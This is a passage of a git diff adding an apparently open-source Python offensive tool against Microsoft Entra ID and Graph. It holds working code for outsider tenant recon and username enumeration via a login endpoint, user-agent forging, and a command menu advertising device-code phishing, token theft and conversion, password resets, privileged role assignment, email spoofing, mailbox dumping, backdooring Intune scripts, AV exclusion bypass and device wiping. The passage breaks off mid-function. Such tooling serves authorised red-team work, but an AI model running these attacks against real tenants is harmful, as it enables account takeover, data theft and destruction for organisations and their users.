{object_data.get('createdDateTime', 'N/A')}") + elif object_type == 'device': + print(f"Device ID: {object_data.get('deviceId', 'N/A')}") + print(f"Operating System: {object_data.get('operatingSystem', 'N/A')}") + print(f"Operating System Version: {object_data.get('operatingSystemVersion', 'N/A')}") + print(f"Trust Type: {object_data.get('trustType', 'N/A')}") + print(f"Approximate Last Sign In DateTime: {object_data.get('approximateLastSignInDateTime', 'N/A')}") + print(f"Compliance State: {object_data.get('complianceState', 'N/A')}") + print(f"Is Managed: {object_data.get('isManaged', 'N/A')}") + print(f"Is Compliant: {object_data.get('isCompliant', 'N/A')}") + print(f"Registered Owner: {object_data.get('registeredOwners', [{}])[0].get('userPrincipalName', 'N/A')}") + + except requests.exceptions.HTTPError as e: + if e.response.status_code == 404: + print_red(f"[-] Object with ID {args.id} not found") + else: + print_red(f"[-] An error occurred while retrieving object details: {str(e)}") + except requests.exceptions.RequestException as e: + print_red(f"[-] An error occurred while making the request: {str(e)}") + + print("=" * 80) + +def locate_permissionid(args): + if not args.id: + print_red("[-] Error: --id argument is required for Locate-PermissionID command") + return + print_yellow("[*] Locate-PermissionID") + print("=" * 80) + + def parse_html(content): + soup = BeautifulSoup(content, 'html.parser') + permissions = {} + + for h3 in soup.find_all('h3'): + title = h3.text + table = h3.find_next('table') + headers = [th.text for th in table.find('thead').find_all('th')] + rows = table.find('tbody').find_all('tr') + + permission_data = {} + for row in rows: + cells = row.find_all('td') + category = cells[0].text + application = cells[1].text + delegated = cells[2].text + permission_data[category] = { + headers[1]: application, + headers[2]: delegated + } + permissions[title] = permission_data + + return permissions + + def highlight(text, should_highlight): + if should_highlight: + return f"\033[92m{text}\033[0m" + return text + + def print_permission(permission, data, identifiers): + print_green(f"{permission}") + for category, values in data.items(): + print(f" {category}:") + app_highlight = data['Identifier']['Application'] in identifiers or permission in identifiers + delegated_highlight = data['Identifier']['Delegated'] in identifiers or permission in identifiers + print(f" Application: {highlight(values['Application'], app_highlight)}") + print(f" Delegated: {highlight(values['Delegated'], delegated_highlight)}") + print() + + identifiers = args.id.split(',') + script_dir = os.path.dirname(os.path.abspath(__file__)) + file_path = os.path.join(script_dir, 'graphpermissions.txt') + + try: + with open(file_path, 'r') as file: + content = file.read() + except FileNotFoundError: + print_red(f"[-] The file {file_path} does not exist.") + print("=" * 80) + return + except Exception as e: + print_red(f"[-] An error occurred: {e}") + print("=" * 80) + return + + permissions = parse_html(content) + found_permissions = False + + for permission, data in permissions.items(): + if (data['Identifier']['Application'] in identifiers or + data['Identifier']['Delegated'] in identifiers or + permission in identifiers): + print_permission(permission, data, identifiers) + found_permissions = True + + if not found_permissions: + print_red("[-] Permission ID or name not found") + + print("=" * 80) + +def locate_directoryrole(args): + if not args.id: + print_red("[-] Error: --id argument is required for Locate-DirectoryRole command") + return + print_yellow("[*] Locate-DirectoryRole") + print("=" * 80) + + def parse_html(content): + soup = BeautifulSoup(content, 'html.parser') + roles = [] + for row in soup.find_all('tr')[1:]: # skip header row + cells = row.find_all('td') + if len(cells) == 3: + role_name = cells[0].text.strip() + description = cells[1].text.strip() + template_id = cells[2].text.strip() + privileged = 'privileged-roles-permissions' in str(cells[1]) + roles.append({ + 'name': role_name, + 'description': description, + 'template_id': template_id, + 'privileged': privileged + }) + return roles + + def print_role(role): + print(f"Role: \033[92m{role['name']}\033[0m") + print(f"Description: \033[92m{role['description']}\033[0m") + print(f"Template ID: \033[92m{role['template_id']}\033[0m") + print(f"Privileged: \033[92m{'Yes' if role['privileged'] else 'No'}\033[0m") + print() + + identifier = args.id.lower() + + script_dir = os.path.dirname(os.path.abspath(__file__)) + file_path = os.path.join(script_dir, 'directoryroles.txt') + + try: + with open(file_path, 'r', encoding='utf-8') as file: + content = file.read() + except FileNotFoundError: + print_red(f"[-] The file {file_path} does not exist.") + print("=" * 80) + return + except Exception as e: + print_red(f"[-] An error occurred while reading the file: {e}") + print("=" * 80) + return + + roles = parse_html(content) + found_role = False + + for role in roles: + if identifier in role['name'].lower() or identifier == role['template_id'].lower(): + print_role(role) + found_role = True + + if not found_role: + print_red("[-] Directory role ID or name not found") + + print("=" * 80) \ No newline at end of file diff --git a/Graphpython/commands/outsider.py b/Graphpython/commands/outsider.py new file mode 100644 index 0000000..eb228c0 --- /dev/null +++ b/Graphpython/commands/outsider.py @@ -0,0 +1,255 @@ +import requests +from tqdm import tqdm +import dns.resolver +import os +from Graphpython.utils.helpers import print_yellow, print_green, print_red, get_user_agent, get_access_token +from Graphpython.utils.helpers import get_tenant_domains + +############ +# Outsider # +############ + +def invoke_reconasoutsider(args): + if not args.domain: + print_red("[-] Error: --domain argument is required for Invoke-ReconAsOutsider command") + return + + print_yellow("[*] Invoke-ReconAsOutsider") + print("=" * 80) + domain = args.domain + # get tenant id + tenant_id = "" + try: + response = requests.get(f"https://login.microsoftonline.com/{domain}/.well-known/openid-configuration") + if response.status_code == 200: + tenant_id = response.json().get('token_endpoint', '').split('/')[3] + except: + print_red("[-] Failed to retrieve tenant ID") + if not tenant_id: + print_red(f"[-] Domain {domain} is not registered to Azure AD") + print("=" * 80) + return + tenant_name = "" + tenant_brand = "" + tenant_region = "" + tenant_sso = "" + # tenant info + try: + response = requests.get(f"https://login.microsoftonline.com/{domain}/.well-known/openid-configuration") + if response.status_code == 200: + data = response.json() + tenant_region = data.get('tenant_region_scope', "Unknown") + except: + print_red("[-] Failed to retrieve tenant info") + + additional_domains = get_tenant_domains(domain) + additional_domains_count = len(additional_domains) + print(f"Domains: {additional_domains_count}") + domain_information = [] + # show progress bar + custom_bar = '╢{bar:50}╟' + for domain in tqdm((additional_domains),bar_format='{l_bar}'+custom_bar+'{r_bar}', leave=False, colour='yellow'): + if domain.lower().endswith('.onmicrosoft.com') and not tenant_name: + tenant_name = domain + # desktop sso + if not tenant_sso: + try: + url = f"https://autologon.microsoftazuread-sso.com/{domain}/winauth/trust/2005/usernamemixed?client-request-id={'0' * 32}" + response = requests.get(url) + tenant_sso = response.status_code == 401 + except: + pass + # DNS checks + exists = False + has_cloud_mx = False + has_cloud_spf = False + has_dmarc = False + has_cloud_dkim = False + has_cloud_mta_sts = False + try: + dns.resolver.resolve(domain) + exists = True + except: + pass + if exists: + try: + mx_records = dns.resolver.resolve(domain, 'MX') + has_cloud_mx = any('mail.protection.outlook.com' in str(mx.exchange) for mx in mx_records) + except: + pass + try: + txt_records = dns.resolver.resolve(domain, 'TXT') + has_cloud_spf = any('v=spf1' in str(record) and 'include:spf.protection.outlook.com' in str(record) for record in txt_records) + except: + pass + try: + dmarc_records = dns.resolver.resolve(f'_dmarc.{domain}', 'TXT') + has_dmarc = any('v=DMARC1' in str(record) for record in dmarc_records) + except: + pass + try: + selectors = ["selector1", "selector2"] + for selector in selectors: + dkim_records = dns.resolver.resolve(f'{selector}._domainkey.{domain}', 'CNAME') + has_cloud_dkim = any('onmicrosoft.com' in str(record) for record in dkim_records) + if has_cloud_dkim: + break + except: + pass + try: + url = f"https://mta-sts.{domain}/.well-known/mta-sts.txt" + mta_sts_response = requests.get(url) + if mta_sts_response.status_code == 200: + mta_sts_content = mta_sts_response.text + mta_sts_lines = mta_sts_content.split("\n") + has_cloud_mta_sts = any("version: STSv1" in line for line in mta_sts_lines) and any("mx: *.mail.protection.outlook.com" in line for line in mta_sts_lines) + except: + pass + # federation info + user_realm = {} + try: + username = f"nn@{domain}" + response = requests.get(f"https://login.microsoftonline.com/GetUserRealm.srf?login={username}") + if response.status_code == 200: + user_realm = response.json() + except: + print_red("[-] Failed to retrieve user realm information") # pass + + if not tenant_brand: + tenant_brand = user_realm.get("FederationBrandName", "") + + auth_url = user_realm.get("AuthURL") + + if auth_url: + auth_url = auth_url.split('?')[0] + + domain_info = { + "Name": domain, + "DNS": exists, + "MX": has_cloud_mx, + "SPF": has_cloud_spf, + "DMARC": has_dmarc, + "DKIM": has_cloud_dkim, + "MTA-STS": has_cloud_mta_sts, + "Type": user_realm.get("NameSpaceType", "Unknown"), + "STS": auth_url + } + + domain_information.append(domain_info) + + print(f"Tenant brand: {tenant_brand}") + print(f"Tenant name: {tenant_name}") + print(f"Tenant id: {tenant_id}") + print(f"Tenant region: {tenant_region}") + + if tenant_sso is not None: + print(f"DesktopSSO enabled: {tenant_sso}") + if tenant_name: + # check MDI instance + tenant = tenant_name.split('.')[0] if '.' in tenant_name else tenant_name + mdi_domains = [ + f"{tenant}.atp.azure.com", + f"{tenant}-onmicrosoft-com.atp.azure.com" + ] + tenant_mdi = None + for mdi_domain in mdi_domains: + try: + dns.resolver.resolve(mdi_domain) + tenant_mdi = mdi_domain + break + except dns.resolver.NXDOMAIN: + continue + except Exception as e: + print(f"An error occurred while resolving {mdi_domain}: {str(e)}") + if tenant_mdi: + print(f"MDI instance: {tenant_mdi}") + else: + print("MDI instance: Not found") + + # check cloud sync + if tenant_name: + sync_service_account = f"ADToAADSyncServiceAccount@{tenant_name}" + exists = None + try: + url = "https://login.microsoftonline.com/common/GetCredentialType" + data = { + "username": sync_service_account, + "isOtherIdpSupported": True, + "checkPhones": False, + "isRemoteNGCSupported": True, + "isCookieBannerShown": False, + "isFidoSupported": True, + "originalRequest": "", + "country": "US", + "forceotclogin": False, + "isExternalFederationDisallowed": False, + "isRemoteConnectSupported": False, + "federationFlags": 0, + "isSignup": False, + "flowToken": "", + "isAccessPassSupported": True + } + response = requests.post(url, json=data) + if response.status_code == 200: + result = response.json() + exists = result.get('IfExistsResult', 0) == 0 + except: + pass + + uses_cloud_sync = exists + print(f"Uses cloud sync: {uses_cloud_sync}") + + print("\nName DNS MX SPF DMARC DKIM MTA-STS Type STS") + print("---- --- --- ---- ----- ---- ------- ---- ---") + for domain_info in domain_information: + print(f"{domain_info['Name']:<42} {str(domain_info['DNS']):<5} {str(domain_info['MX']):<5} {str(domain_info['SPF']):<6} {str(domain_info['DMARC']):<7} {str(domain_info['DKIM']):<6} {str(domain_info['MTA-STS']):<8} {domain_info['Type']:<11} {domain_info['STS'] or ''}") + print("=" * 80) + + +def invoke_userenumerationasoutsider(args): + if not args.username: + print_red("[-] Error: --username argument is required for Invoke-UserEnumerationAsOutsider command") + return + + print_yellow("[*] Invoke-UserEnumerationAsOutsider") + print("=" * 80) + usernames = [] + if os.path.isfile(args.username): + with open(args.username, 'r') as file: + usernames = [line.strip() for line in file if line.strip()] + else: + usernames = [args.username] + + for username in usernames: + exists = None + try: + url = "https://login.microsoftonline.com/common/GetCredentialType" + data = { + "username": username, + "isOtherIdpSupported": True, + "checkPhones": False, + "isRemoteNGCSupported": True, + "isCookieBannerShown": False, + "isFidoSupported": True, + "originalRequest": "", + "country": "US", + "forceotclogin": False, + "isExternalFederationDisallowed": False, + "isRemoteConnectSupported": False, + "federationFlags": 0, + "isSignup": False, + "flowToken": "", + "isAccessPassSupported": True + } + response = requests.post(url, json=data) + if response.status_code == 200: + result = response.json() + exists = result.get('IfExistsResult', 0) == 0 + except: + pass + + if exists: + print_green(f"[+] {username:<16}")# : {exists}") + else: + print_red(f"[-] {username:<16}")# : {exists}") + print("=" * 80) \ No newline at end of file diff --git a/Graphpython/utils/__init__.py b/Graphpython/utils/__init__.py new file mode 100644 index 0000000..1321f68 --- /dev/null +++ b/Graphpython/utils/__init__.py @@ -0,0 +1 @@ +# chama \ No newline at end of file diff --git a/Graphpython/utils/helpers.py b/Graphpython/utils/helpers.py new file mode 100644 index 0000000..6096eb0 --- /dev/null +++ b/Graphpython/utils/helpers.py @@ -0,0 +1,607 @@ +import requests +import json +import os +import re +import base64 +from tabulate import tabulate +from datetime import datetime, timedelta +import uuid +import xml.etree.ElementTree as ET +from termcolor import colored + +def print_yellow(message): + print(f"\033[93m{message}\033[0m") + +def print_green(message): + print(f"\033[92m{message}\033[0m") + +def print_red(message): + print(f"\033[91m{message}\033[0m") + +def list_commands(): + outsider_commands = [ + ["Invoke-ReconAsOutsider", "Perform outsider recon of the target domain"], + ["Invoke-UserEnumerationAsOutsider", "Checks whether the user exists within Azure AD"] + ] + + auth_commands = [ + ["Get-GraphTokens", "Obtain graph token via device code phish (saved to graph_tokens.txt)"], + ["Get-TenantID", "Get tenant ID for target domain"], + ["Get-TokenScope", "Get scope of supplied token"], + ["Decode-AccessToken", "Get all token payload attributes"], + ["Invoke-RefreshToMSGraphToken", "Convert refresh token to Microsoft Graph token (saved to new_graph_tokens.txt)"], + ["Invoke-RefreshToAzureManagementToken", "Convert refresh token to Azure Management token (saved to az_tokens.txt)"], + ["Invoke-RefreshToVaultToken", "Convert refresh token to Azure Vault token (saved to vault_tokens.txt)"], + ["Invoke-RefreshToMSTeamsToken", "Convert refresh token to MS Teams token (saved to teams_tokens.txt)"], + ["Invoke-RefreshToOfficeAppsToken", "Convert refresh token to Office Apps token (saved to officeapps_tokens.txt)"], + ["Invoke-RefreshToOfficeManagementToken", "Convert refresh token to Office Management token (saved to officemanagement_tokens.txt)"], + ["Invoke-RefreshToOutlookToken", "Convert refresh token to Outlook token (saved to outlook_tokens.txt)"], + ["Invoke-RefreshToSubstrateToken", "Convert refresh token to Substrate token (saved to substrate_tokens.txt)"], + ["Invoke-RefreshToYammerToken", "Convert refresh token to Yammer token (saved to yammer_tokens.txt)"], + ["Invoke-RefreshToIntuneEnrollmentToken", "Convert refresh token to Intune Enrollment token (saved to intune_tokens.txt)"], + ["Invoke-RefreshToOneDriveToken", "Convert refresh token to OneDrive token (saved to onedrive_tokens.txt)"], + ["Invoke-RefreshToSharePointToken", "Convert refresh token to SharePoint token (saved to sharepoint_tokens.txt)"], + ["Invoke-CertToAccessToken", "Convert Azure Application certificate to JWT access token (saved to cert_tokens.txt)"], + ["Invoke-ESTSCookieToAccessToken", "Convert ESTS cookie to MS Graph access token (saved to estscookie_tokens.txt)"], + ["Invoke-AppSecretToAccessToken", "Convert Azure Application secretText credentials to access token (saved to appsecret_tokens.txt)"], + ["New-SignedJWT", "Construct JWT and sign using Key Vault PEM certificate (Azure Key Vault access token required) then generate Azure Management token"] + ] + + post_authenum_commands = [ + ["Get-CurrentUser", "Get current user profile"], + ["Get-CurrentUserActivities", "Get recent activity and actions of current user"], + ["Get-OrgInfo", "Get information relating to the target organisation"], + ["Get-Domains", "Get domain objects"], + ["Get-User", "Get all users (default) or target user (--id)"], + ["Get-UserProperties", "Get current user properties (default) or target user (--id)"], + ["Get-UserPrivileges", "Get group/AU memberships and directory roles assigned for current user (default) or target user (--id)"], + ["Get-UserTransitiveGroupMembership", "Get transitive group memberships for current user (default) or target user (--id)"], + ["Get-Group", "Get all groups (default) or target group (-id)"], + ["Get-GroupMember", "Get all members of target group"], + ["Get-UserAppRoleAssignments", "Get user app role assignments for current user (default) or target user (--id)"], + ["Get-ConditionalAccessPolicy", "Get conditional access policy properties"], + ["Get-Application", "Get Enterprise Application details for app (NOT object) ID (--id)"], + ["Get-AppServicePrincipal", "Get details of the application's service principal from the app ID (--id)"], + ["Get-ServicePrincipal", "Get all or specific Service Principal details (--id)"], + ["Get-ServicePrincipalAppRoleAssignments", "Get Service Principal app role assignments (shows available admin consent permissions that are already granted)"], + ["Get-PersonalContacts", "Get contacts of the current user"], + ["Get-CrossTenantAccessPolicy", "Get cross tenant access policy properties"], + ["Get-PartnerCrossTenantAccessPolicy", "Get partner cross tenant access policy"], + ["Get-UserChatMessages", "Get ALL messages from all chats for target user (Chat.Read.All)"], + ["Get-AdministrativeUnitMember", "Get members of administrative unit"], + ["Get-OneDriveFiles", "Get all accessible OneDrive files for current user (default) or target user (--id)"], + ["Get-UserPermissionGrants", "Get permission grants of current user (default) or target user (--id)"], + ["Get-oauth2PermissionGrants", "Get oauth2 permission grants for current user (default) or target user (--id)"], + ["Get-Messages", "Get all messages in signed-in user's mailbox (default) or target user (--id)"], + ["Get-TemporaryAccessPassword", "Get TAP details for current user (default) or target user (--id)"], + ["Get-Password", "Get passwords registered to current user (default) or target user (--id)"], + ["List-AuthMethods", "List authentication methods for current user (default) or target user (--id)"], + ["List-DirectoryRoles", "List all directory roles activated in the tenant"], + ["List-Notebooks", "List current user notebooks (default) or target user (--id)"], + ["List-ConditionalAccessPolicies", "List conditional access policy objects"], + ["List-ConditionalAuthenticationContexts", "List conditional access authentication context"], + ["List-ConditionalNamedLocations", "List conditional access named locations"], + ["List-SharePointRoot", "List root SharePoint site properties"], + ["List-SharePointSites", "List any available SharePoint sites"], + ["List-SharePointURLs", "List SharePoint site web URLs visible to current user"], + ["List-ExternalConnections", "List external connections"], + ["List-Applications", "List all Azure Applications"], + ["List-ServicePrincipals", "List all service principals"], + ["List-Tenants", "List tenants"], + ["List-JoinedTeams", "List joined teams for current user (default) or target user (--id)"], + ["List-Chats", "List chats for current user (default) or target user (--id)"], + ["List-ChatMessages", "List messages in target chat (--id)"], + ["List-Devices", "List devices"], + ["List-AdministrativeUnits", "List administrative units"], + ["List-OneDrives", "List current user OneDrive (default) or target user (--id)"], + ["List-RecentOneDriveFiles", "List current user recent OneDrive files"], + ["List-SharedOneDriveFiles", "List OneDrive files shared with the current user"], + ["List-OneDriveURLs", "List OneDrive web URLs visible to current user"] + ] + + post_authexploit_commands = [ + ["Invoke-CustomQuery", "Custom GET query to target Graph API endpoint"], + ["Invoke-Search", "Search for string within entity type (driveItem, message, chatMessage, site, event)"], + ["Find-PrivilegedRoleUsers", "Find users with privileged roles assigned"], + ["Find-PrivilegedApplications", "Find privileged apps (via their service principal) with granted admin consent API permissions"], + ["Find-UpdatableGroups", "Find groups which can be updated by the current user"], + ["Find-SecurityGroups", "Find security groups and group members"], + ["Find-DynamicGroups", "Find groups with dynamic membership rules"], + ["Update-UserPassword", "Update the passwordProfile of the target user (NewUserS3cret@Pass!)"], + ["Update-UserProperties", "Update the user properties of the target user"], + ["Add-UserTAP", "Add new Temporary Access Password (TAP) to target user"], + ["Add-GroupMember", "Add member to target group"], + ["Add-ApplicationPassword", "Add client secret to target application"], + ["Add-ApplicationCertificate", "Add client certificate to target application"], + ["Add-ApplicationPermission", "Add permission to target application e.g. Mail.Send and attempt to grant admin consent"], + ["Grant-AppAdminConsent", "Grant admin consent for Graph API permission already assigned to enterprise application"], + ["Create-Application", "Create new enterprise application with default settings"], + ["Create-NewUser", "Create new Entra ID user"], + ["Invite-GuestUser", "Invite guest user to Entra ID"], + ["Assign-PrivilegedRole", "Assign chosen privileged role to user/group/object"], + ["Open-OWAMailboxInBrowser", "Open an OWA Office 365 mailbox in BurpSuite's embedded Chromium browser using either a Substrate.Office.com or Outlook.Office.com access token"], + ["Dump-OWAMailbox", "Dump OWA Office 365 mailbox"], + ["Spoof-OWAEmailMessage", "Send email from current user's Outlook mailbox or spoof another user (--id) (Mail.Send)"] + ] + + intune_enum = [ + ["Get-ManagedDevices", "Get managed devices"], + ["Get-UserDevices", "Get user devices"], + ["Get-CAPs", "Get conditional access policies"], + ["Get-DeviceCategories", "Get device categories"], + ["Get-DeviceComplianceSummary", "Get device compliance summary"], + ["Get-DeviceConfigurations", "Get device configurations"], + ["Get-DeviceConfigurationPolicySettings", "Get device configuration policy settings"], + ["Get-DeviceEnrollmentConfigurations", "Get device enrollment configurations"], + ["Get-DeviceGroupPolicyConfigurations", "Get device group policy configurations and assignment details"], + ["Get-DeviceGroupPolicyDefinition", "Get device group policy definition"], + ["Get-RoleDefinitions", "Get role definitions"], + ["Get-RoleAssignments", "Get role assignments"], + ["Get-DeviceCompliancePolicies", "Get all device compliance policies (Android, iOS, macOS, Windows, Linux, etc.)"], + ["Get-DeviceConfigurationPolicies", "Get device configuration policies and assignment details (AV, ASR, DiskEnc, etc.)"] + ] + + intune_exploit = [ + ["Dump-DeviceManagementScripts", "Dump device management PowerShell scripts"], + ["Dump-WindowsApps", "Dump managed Windows OS applications (exe, msi, appx, msix, etc.)"], + ["Dump-iOSApps", "Dump managed iOS/iPadOS mobile applications"], + ["Dump-macOSApps", "Dump managed macOS applications"], + ["Dump-AndroidApps", "Dump managed Android mobile applications"], + ["Get-ScriptContent", "Get device management script content"], + ["Backdoor-Script", "Add malicious code to pre-existing device management script"], + ["Deploy-MaliciousScript", "Deploy new malicious device management PowerShell script"], + ["Deploy-MaliciousWebLink", "Deploy malicious Windows web link application"], + ["Display-AVPolicyRules", "Display antivirus policy rules"], + ["Display-ASRPolicyRules", "Display Attack Surface Reduction (ASR) policy rules"], + ["Display-DiskEncryptionPolicyRules", "Display disk encryption policy rules"], + ["Display-FirewallConfigPolicyRules", "Display firewall configuration policy rules"], + ["Display-FirewallRulePolicyRules", "Display firewall RULE policy rules"], + ["Display-EDRPolicyRules", "Display EDR policy rules"], + ["Display-LAPSAccountProtectionPolicyRules", "Display LAPS account protection policy rules"], + ["Display-UserGroupAccountProtectionPolicyRules", "Display user group account protection policy rules"], + ["Add-ExclusionGroupToPolicy", "Bypass av, asr, etc. rules by adding an exclusion group containing compromised user or device"], + ["Reboot-Device", "Reboot managed device"], + ["Lock-Device", "Lock managed device"], + ["Shutdown-Device", "Shutdown managed device"], + ["Update-DeviceConfig", "Update properties of the managed device configuration"] + ] + + cleanup_commands = [ + ["Delete-User", "Delete a user"], + ["Delete-Group", "Delete a group"], + ["Remove-GroupMember", "Remove user from a group"], + ["Delete-Application", "Delete an application"], + ["Delete-Device", "Delete managed device"], + ["Wipe-Device", "Wipe managed device"], + ["Retire-Device", "Retire managed device"] + ] + + locator_commands = [ + ["Locate-ObjectID", "Locate object ID and display object properties"], + ["Locate-PermissionID", "Locate Graph permission details (application/delegated, description, admin consent required) for ID or permission name"], + ["Locate-DirectoryRole", "Locate Entra directory role information for template ID or role name"] + ] + + print("Outsider") + print("=" * 80) + print(tabulate(outsider_commands, tablefmt="plain")) + + print("\nAuthentication") + print("=" * 80) + print(tabulate(auth_commands, tablefmt="plain")) + + print("\nPost-Auth Enumeration") + print("=" * 80) + print(tabulate(post_authenum_commands, tablefmt="plain")) + + print("\nPost-Auth Exploitation") + print("=" * 80) + print(tabulate(post_authexploit_commands, tablefmt="plain")) + + print("\nPost-Auth Intune Enumeration") + print("=" * 80) + print(tabulate(intune_enum, tablefmt="plain")) + + print("\nPost-Auth Intune Exploitation") + print("=" * 80) + print(tabulate(intune_exploit, tablefmt="plain")) + + print("\nCleanup") + print("=" * 80) + print(tabulate(cleanup_commands, tablefmt="plain")) + + print("\nLocators") + print("=" * 80) + print(tabulate(locator_commands, tablefmt="plain")) + print("\n") + +def forge_user_agent(device=None, browser=None): + + user_agent = '' + + if device == 'Mac': + if browser == 'Chrome': + user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36' + elif browser == 'Firefox': + user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:70.0) Gecko/20100101 Firefox/70.0' + elif browser == 'Edge': + user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/604.1 Edg/91.0.100.0' + elif browser == 'Safari': + user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Safari/605.1.15' + else: + user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Safari/605.1.15' + + elif device == 'Windows': + if browser == 'IE': + user_agent = 'Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko' + elif browser == 'Chrome': + user_agent = 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36' + elif browser == 'Firefox': + user_agent = 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:70.0) Gecko/20100101 Firefox/70.0' + elif browser == 'Edge': + user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19042' + else: + user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19042' + + elif device == 'AndroidMobile': + if browser == 'Android': + user_agent = 'Mozilla/5.0 (Linux; U; Android 4.0.2; en-us; Galaxy Nexus Build/ICL53F) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30' + elif browser == 'Chrome': + user_agent = 'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Mobile Safari/537.36' + elif browser == 'Firefox': + user_agent = 'Mozilla/5.0 (Android 4.4; Mobile; rv:70.0) Gecko/70.0 Firefox/70.0' + elif browser == 'Edge': + user_agent = 'Mozilla/5.0 (Linux; Android 8.1.0; Pixel Build/OPM4.171019.021.D1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.109 Mobile Safari/537.36 EdgA/42.0.0.2057' + else: + user_agent = 'Mozilla/5.0 (Linux; U; Android 4.0.2; en-us; Galaxy Nexus Build/ICL53F) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30' + + elif device == 'iPhone': + if browser == 'Chrome': + user_agent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/91.0.4472.114 Mobile/15E148 Safari/604.1' + elif browser == 'Firefox': + user_agent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) FxiOS/1.0 Mobile/12F69 Safari/600.1.4' + elif browser == 'Edge': + user_agent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 12_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.1 EdgiOS/44.5.0.10 Mobile/15E148 Safari/604.1' + elif browser == 'Safari': + user_agent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1' + else: + user_agent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1' + + else: + if browser == 'Android': + user_agent = 'Mozilla/5.0 (Linux; U; Android 4.0.2; en-us; Galaxy Nexus Build/ICL53F) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30' + elif browser == 'IE': + user_agent = 'Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko' + elif browser == 'Chrome': + user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36' + elif browser == 'Firefox': + user_agent = 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:70.0) Gecko/20100101 Firefox/70.0' + elif browser == 'Safari': + user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Safari/605.1.15' + else: + user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19042' + + return user_agent + +def get_user_agent(args): + if args.device: + if args.browser: + return forge_user_agent(device=args.device, browser=args.browser) + else: + return forge_user_agent(device=args.device) + else: + if args.browser: + return forge_user_agent(browser=args.browser) + else: + return forge_user_agent() + +def get_access_token(token_input): + if os.path.isfile(token_input): + encodings = ['utf-8', 'utf-16', 'ascii', 'iso-8859-1'] + for encoding in encodings: + try: + with open(token_input, 'r', encoding=encoding) as file: + access_token = file.read().strip() + return access_token + except UnicodeDecodeError: + continue + + raise ValueError(f"Unable to decode the file {token_input} with any of the tried encodings.") + else: + access_token = token_input + return access_token + +def read_file_content(file_path): + try: + with open(file_path, 'r', encoding='utf-8') as file: + return file.read() + except UnicodeDecodeError: + with open(file_path, 'r', encoding='utf-16') as file: + return file.read() + +def format_list_style(data): + if not data.get('value'): + print_red("[-] No data found") + return + + for d in data.get('value', []): + for key, value in d.items(): + print(f"{key} : {value}") + print("\n") + +def read_and_encode_cert(cert_path): + try: + if not os.path.isfile(cert_path): + print_red(f"[-] The certificate file '{cert_path}' does not exist.") + return None + with open(cert_path, 'rb') as cert_file: + cert_data = cert_file.read() + # Base64 encode the binary data + encoded_cert = base64.b64encode(cert_data).decode('ascii') + return encoded_cert + except Exception as e: + print_red(f"[-] Error reading certificate: {str(e)}") + return None + +def highlight_search_term(text, search_term): + return text.replace(search_term, colored(search_term, 'green')) + +def graph_api_get(access_token, url, args): + try: + output_returned = False + while url: + user_agent = get_user_agent(args) + headers = { + "Authorization": f"Bearer {access_token}", + "User-Agent": user_agent + } + response = requests.get(url, headers=headers) + response.raise_for_status() + response_body = response.json() + filtered_data = {key: value for key, value in response_body.items() if not key.startswith("@odata")} + + if filtered_data: + format_list_style(filtered_data) + output_returned = True + + url = response_body.get("@odata.nextLink") + + if not output_returned: + print_red("[-] No data found") + + except requests.exceptions.RequestException as ex: + print_red(f"[-] HTTP Error: {ex}") + +def get_tenant_domains(domain): + + domains = [domain] + try: + openid_config_url = f"https://login.microsoftonline.com/{domain}/.well-known/openid-configuration" + response = requests.get(openid_config_url) + response.raise_for_status() + openid_config = response.json() + tenant_region_sub_scope = openid_config.get("tenant_region_sub_scope", "") + + if tenant_region_sub_scope == "DOD": + autodiscover_url = 